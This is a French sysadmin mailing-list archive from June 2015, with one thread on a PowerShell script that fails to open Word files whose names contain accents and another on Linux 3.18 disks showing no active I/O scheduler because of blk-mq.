>>> pour le même fichier avec le nom déploiement_server.docx
>>> 
>>> ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur 
>>> suivante
>>> 
>>> Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier 
>>> introuvable. »
>>> Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère : 27
>>> + $doc = $word.Documents.Add  ($file1)
>>> + CategoryInfo  : NotSpecified: (:) [], 
>>> MethodInvocationException
>>> + FullyQualifiedErrorId : ComMethodTargetInvocation
>>> 
>>> 
>>> est ce que vous avez eu ce genre de problème et comment l'avez vous résolus.
>>> 
>>> si vous avez une autre approche je suis très intéressé de l'entendre
>>> 
>>> 
>>> Tarik CHICHANE
>>> 
>>> 
>>> ___
>>> Liste de diffusion du FRsAG
>>> http://www.frsag.org/
>> 
>> 
>> ___
>> Liste de diffusion du FRsAG
>> http://www.frsag.org/
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] problème avec diu powershell

2015-06-03 Thread Christophe Pujol
Bonsoir,


 Il faut initialisent correctement les variables.


 Exemple:


 $variable = get-content -encoding utf8


 Cdlt,



 Le mer 3 juin 2015 19:36, Erwan Quimbert  a
écrit :

Bonsoir,
 En forcant le passage en nom court 8.3 ?

Le 3 juin 2015 à 19:31, Lucas  a écrit :

 Hum, fonctionne "out of the box" chez moi avec un fichier test.doc et
tést.doc

Le 3 juin 2015 19:18, Benjamin AVET  a écrit :

 Quel est l'encodage utilisé pour écrire ton scritp ?

Le 3 juin 2015 17:15, tarik chichane  a écrit :

  Bonjour,

je reviens vers vous pour un problème simple mais qui commence à peser lourd

j'ai un répertoire qui contient beaucoup de document word (une centaine).

je veux ajouter une ligne au début de chaque document qui contient la
mention document restreint.

là j'attaque la tâche avec du powershell

tout marche bien, tout est nickel, la ligne s'ajoute et le document est
bien modifié.

je passe en production et c'est la catastrophe.

tout les fichiers qui contiennent dans leur titre un accent ou un caractère
spéciale

sont catégoriquement rejeté et je ne peux pas les ouvrir.

mon script est

$file1 = "D:/matricule/DéPLOIMENT_V1.2.docx"

#$file1 = "D:\matricule\DEPLOIMENT_V1.2.docx"

Try

#Open Microsoft Word and add text defined in $key then save

{

[ref]$SaveFormat = "microsoft.office.interop.word.WdSaveFormat" -as [type]

$word = New-Object -ComObject Word.Application

$word.visible = $false

$doc = $word.Documents.Add($file1)

$selection = $word.Selection

$selection.typeText($key)

$doc.saveas([ref] $file1, [ref]$SaveFormat::wdFormatDocument)

}

#Catch

#If error occurs send email

#{

#Send-MailMessage -from $smtpFrom -subject $messageSubject -body
$messagebody -To $smtpTo -smtpserver $smtpsrvr -port 25

#}

Finally

#Close Microsoft Word

{

$word.quit()

$word = $null

}

avec un fichier deploiement_server.docx ça marche

pour le même fichier avec le nom déploiement_server.docx

ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur
suivante

Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier
introuvable. »

Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère : 27

+ $doc = $word.Documents.Add  ($file1)

+ CategoryInfo  : NotSpecified: (:) [],
MethodInvocationException

+ FullyQualifiedErrorId : ComMethodTargetInvocation

est ce que vous avez eu ce genre de problème et comment l'avez vous résolus.

si vous avez une autre approche je suis très intéressé de l'entendre

Tarik CHICHANE

___
Liste de diffusion du FRsAG
http://www.frsag.org/


___
Liste de diffusion du FRsAG
http://www.frsag.org/



  ___
Liste de diffusion du FRsAG
http://www.frsag.org/


___
Liste de diffusion du FRsAG
http://www.frsag.org/
___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Linux >= 3.18 & scheduler disque

2015-06-03 Thread Olivier Bonvalet
J'ai donc recompilé un 3.18.14 dans le doute (j'utilisais un 3.18.11
jusque là), et je viens de remarquer ça dans les logs :

Jun  4 00:22:01 cache-rbx02 kernel: [0.689868] io scheduler noop registered
Jun  4 00:22:01 cache-rbx02 kernel: [0.689870] io scheduler deadline 
registered
Jun  4 00:22:01 cache-rbx02 kernel: [0.689884] io scheduler cfq registered 
(default)

Mais pas mieux :

cache-rbx02:~$ cat /sys/block/sd*/queue/scheduler 
none
none
none

J'ajoute qu'il n'y a pas de carte RAID, et que j'ai le problème avec des
HDD et avec des SSD.

→ /me retourne fouiller la conf du noyau.



Le mercredi 03 juin 2015 à 09:39 +0200, Greg a écrit :
> Bonjour,
> 
> 
> que donnes cette commande ?
> 
> 
> $ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config
> 
> 
> 
> 
> 
> Le 3 juin 2015 09:35, Olivier Bonvalet  a
> écrit :
> Bah... le problème là c'est surtout qu'aucun scheduler ne
> semble actif.
> 
> 
> Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a
> écrit :
> > Hello,
> >
> > elevator=deadline sur la ligne de commande grub.
> >
> > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en
> production...
> >
> > My 0,02€
> >
> >
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/
> 
> 
> 
> 
> 
> -- 
> Greg
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/


___
Liste de diffusion du FRsAG
http://www.frsag.org/


Re: [FRsAG] Linux >= 3.18 & scheduler disque

2015-06-03 Thread Olivier Bonvalet
Bon... trouvé :

currently the scsi-mq is set to Y, since 3.18-rc1 merge. The
option enables a feature that makes advantage of
enterprise-class
storage. It's known not to perform well on slower devices [1]
and
lacks scheduler support.

Et effectivement, cette option a été activée...

Donc pour info, pour le moment (3.18) le BLK-MQ implique l'absence de
scheduler.

Voilà voilà.

Le jeudi 04 juin 2015 à 00:41 +0200, Olivier Bonvalet a écrit :
> J'ai donc recompilé un 3.18.14 dans le doute (j'utilisais un 3.18.11
> jusque là), et je viens de remarquer ça dans les logs :
> 
> Jun  4 00:22:01 cache-rbx02 kernel: [0.689868] io scheduler noop 
> registered
> Jun  4 00:22:01 cache-rbx02 kernel: [0.689870] io scheduler deadline 
> registered
> Jun  4 00:22:01 cache-rbx02 kernel: [0.689884] io scheduler cfq 
> registered (default)
> 
> Mais pas mieux :
> 
> cache-rbx02:~$ cat /sys/block/sd*/queue/scheduler 
> none
> none
> none
> 
> J'ajoute qu'il n'y a pas de carte RAID, et que j'ai le problème avec des
> HDD et avec des SSD.
> 
> → /me retourne fouiller la conf du noyau.
> 
> 
> 
> Le mercredi 03 juin 2015 à 09:39 +0200, Greg a écrit :
> > Bonjour,
> > 
> > 
> > que donnes cette commande ?
> > 
> > 
> > $ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config
> > 
> > 
> > 
> > 
> > 
> > Le 3 juin 2015 09:35, Olivier Bonvalet  a
> > écrit :
> > Bah... le problème là c'est surtout qu'aucun scheduler ne
> > semble actif.
> > 
> > 
> > Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a
> > écrit :
> > > Hello,
> > >
> > > elevator=deadline sur la ligne de commande grub.
> > >
> > > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en
> > production...
> > >
> > > My 0,02€
> > >
> > >
> > 
> > ___
> > Liste de diffusion du FRsAG
> > http://www.frsag.org/
> > 
> > 
> > 
> > 
> > 
> > -- 
> > Greg
> > 
> > ___
> > Liste de diffusion du FRsAG
> > http://www.frsag.org/
> 
> 
> ___
> Liste de diffusion du FRsAG
> http://www.frsag.org/


___
Liste de diffusion du FRsAG
http://www.frsag.org/